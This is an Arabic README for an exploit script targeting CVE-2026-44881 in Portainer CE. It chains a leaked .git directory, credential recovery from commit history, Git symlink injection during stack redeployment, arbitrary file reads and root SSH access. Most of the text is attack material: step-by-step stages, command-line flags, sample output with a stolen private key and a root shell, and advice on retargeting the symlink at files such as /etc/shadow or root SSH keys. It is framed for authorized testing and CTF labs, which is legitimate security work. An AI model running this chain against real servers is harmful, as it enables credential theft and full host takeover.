
استغلال بنص برمجي واحد لثغرة CVE-2026-44881 يجمع بين تسريب بيانات اعتماد .git، وحقن Git-symlink في Portainer، وقراءة ملفات المضيف بشكل تعسفي، والوصول عبر SSH للاختبارات المصرح بها.
نص برمجي فردي لاستغلال CVE-2026-44881، حقن رابط رمزي في Git في تدفق نشر التطبيقات (stacks) في Portainer، مما يسمح لأي مستخدم موثوق ذي صلاحيات منخفضة ولديه صلاحيات إنشاء تطبيقات (stacks) بقراءة ملفات عشوائية يمكن لعملية Portainer الوصول إليها.
إشعار: GHSA-rpgq-m5fp-32wr المتأثر: Portainer CE
2.33.0–2.33.7،2.39.0–2.39.1،2.40.xتم الإصلاح في:2.33.8(LTS)،2.39.2(LTS)،2.41.0(STS)
الثغرة عبارة عن مزيج من عنصرين أساسيين:
go-git v5 يترجم إدخالات شجرة Git ذات الوضع 0o120000 (رابط رمزي) إلى روابط رمزية فعلية في نظام التشغيل أثناء git clone. الاسم الوحيد المدرج في القائمة السوداء هو .gitmodules؛ كل مسار آخر — بما في ذلك docker-compose.yml، الذي يعامله Portainer كنقطة دخول التطبيق — يمكن أن يكون رابطًا رمزيًا بهدف نسبي تعسفي.Service.GetFileContent (api/filesystems/filesystem.go) يقرأ ملف دخول التطبيق باستخدام os.ReadFile، والذي يتبع الروابط الرمزية لنظام التشغيل بشفافية. JoinPaths يمنع ../ في السلسلة النصية المدخلة لكنه لا يستدعي أبدًا filepath.EvalSymlinks، لذا فإن الرابط الرمزي الموجود بالفعل على القرص يتحول بسعادة إلى هدفه.عادةً ما يعمل Portainer كـ root داخل حاويته (مطلوب لمقبس Docker)، لذا فإن مدى وصول عنصر القراءة هو ما تستطيع الحاوية رؤيته — عادةً <span dir="ltr">/data/portainer.db</span> (BoltDB مع كل تجزئة كلمة مرور لكل مستخدم + كل رمز API)، رموز خدمة Kubernetes على <span dir="ltr">/var/run/secrets/kubernetes.io/serviceaccount/token</span>، أسرار Docker Swarm على <span dir="ltr">/run/secrets/</span>، وفي النشرات التي تقوم بربط (bind-mount) نظام ملفات المضيف للمراقبة — <span dir="ltr">/etc/shadow</span> الخاص بالمضيف، <span dir="ltr">/root/.ssh/*</span>، وهكذا.
هذا النص البرمجي يربط:
تسريب .git على المنفذ 80
→ استعادة lowuser:password من تاريخ الالتزامات
→ تسجيل الدخول إلى Portainer
→ إنشاء تطبيق (stack) مدعوم من Git مع YAML نظيف (التحقق ينجح، التطبيق يستمر)
→ دفع التزام الرابط الرمزي، تشغيل /git/redeploy (التحقق يفشل، شجرة العمل يتم تحديثها)
→ GET /api/stacks/{id}/file (يعيد محتوى هدف الرابط الرمزي)
→ ssh -i stolen_key root@target
./exploit.sh -t 192.168.1.27
يكتشف تلقائيًا عنوان IP للمهاجم من ip addr ويفترض أن .git مكشوف على http://target/.git/. قم بتجاوز أي شيء لا يتطابق مع بيئتك:
-t, --target عنوان IP الهدف (مطلوب)
-a, --attacker عنوان IP للمهاجم يُعلن لـ Portainer لخادم git (اكتشاف تلقائي)
-l, --leak-path مسار دليل .git المكشوف (الافتراضي: /.git)
-p, --portainer-port منفذ HTTP لـ Portainer (الافتراضي: 9000)
-g, --git-port منفذ خادم git المحلي (الافتراضي: 9418)
-w, --workdir دليل العمل للملفات المؤقتة (الافتراضي: mktemp)
-u, --user تخطي تعداد .git؛ استخدم اسم مستخدم Portainer هذا
-P, --pass تخطي تعداد .git؛ استخدم كلمة مرور Portainer هذه
--no-creds-from-git تخطي مرحلة .git وطلب -u/-P
--no-ssh تخطي خطوة SSH النهائية
-h, --help عرض هذه المساعدة والخروج
$ ./exploit.sh -t 192.168.1.27
[+] الهدف : http://192.168.1.27:9000
[+] عنوان IP للمهاجم : 192.168.1.34
[+] دليل العمل : /tmp/cve44881-xxxx
=== المرحلة 1 — تفريغ /.git المسرب واستعادة بيانات الاعتماد ===
[+] تم العثور على git-dumper، تشغيله...
[+] تاريخ git:
3a1f9e2 oops: remove creds from repo, rotate before prod
b4c20a6 add trial onboarding env (temp, will move to vault)
d09a875 init: portal landing + ops notes
[+] تم استعادة بيانات الاعتماد: lowuser / lowuser-c0ntain3r-2026
=== المرحلة 2 — مصادقة Portainer ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] معرف نقطة النهاية: 1
=== المرحلة 3 — استضافة مستودع Git الطعم على git://192.168.1.34:9418/repo.git ===
[+] git daemon يعمل (pid 12345)
=== المرحلة 4 — إنشاء التطبيق (stack) المدعوم من Git (YAML نظيف) ===
[+] معرف التطبيق: 1
=== المرحلة 5 — دفع التزام الرابط الرمزي + تشغيل إعادة النشر ===
[+] استجابة إعادة النشر: {"message":"stack config file is invalid: top-level object must be a mapping"}
=== المرحلة 6 — GET /api/stacks/1/file ===
[+] تم حفظ المفتاح الخاص المسرب إلى /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== المرحلة 7 — SSH كـ root باستخدام المفتاح المسرب ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9
=== تم — اكتمل الاستغلال ===
curl، jq، git (مع git daemon)، sshgit-dumper — pipx install git-dumper. النص البرمجي يحتوي على عداد مدمج بسيط لـ HTTP غير ذكي يتعامل مع حالة الكائنات البسيطة إذا كان git-dumper مفقودًا، لكن بالنسبة لأي دليل .git مسرب غير تافه، الأداة الكاملة أكثر موثوقية./:/mnt/host:ro ويقرأ /mnt/host/root/.ssh/id_rsa. لاستهداف ملفات أخرى، عدّل هدف الرابط الرمزي في المرحلة 5 (../../../mnt/host/root/.ssh/id_rsa). سجن go-billy chroot الخاص بـ Portainer يحبس الروابط الرمزية المطلقة إلى شجرة العمل، لذا يجب أن يكون الهدف نسبيًا..git مقصورة على Portainer فقط — لا تمنح SSH أو أي وصول مباشر إلى المضيف. تم تصميم المختبر بحيث تكون الطريقة الوحيدة للحصول على RCE على مستوى المضيف هي من خلال الثغرة نفسها.{"message":"stack config file is invalid"} — هذا هو المحقق الذي يشكو من أن مفتاح SSH ليس YAML صالحًا. لقد قام النسخ بالفعل باستبدال شجرة العمل بحلول وقت تشغيل المحقق، وهذا بالضبط ما نحتاجه.MIT. للاستخدام في الاختبارات المصرح بها ومسابقات CTF / المختبرات فقط.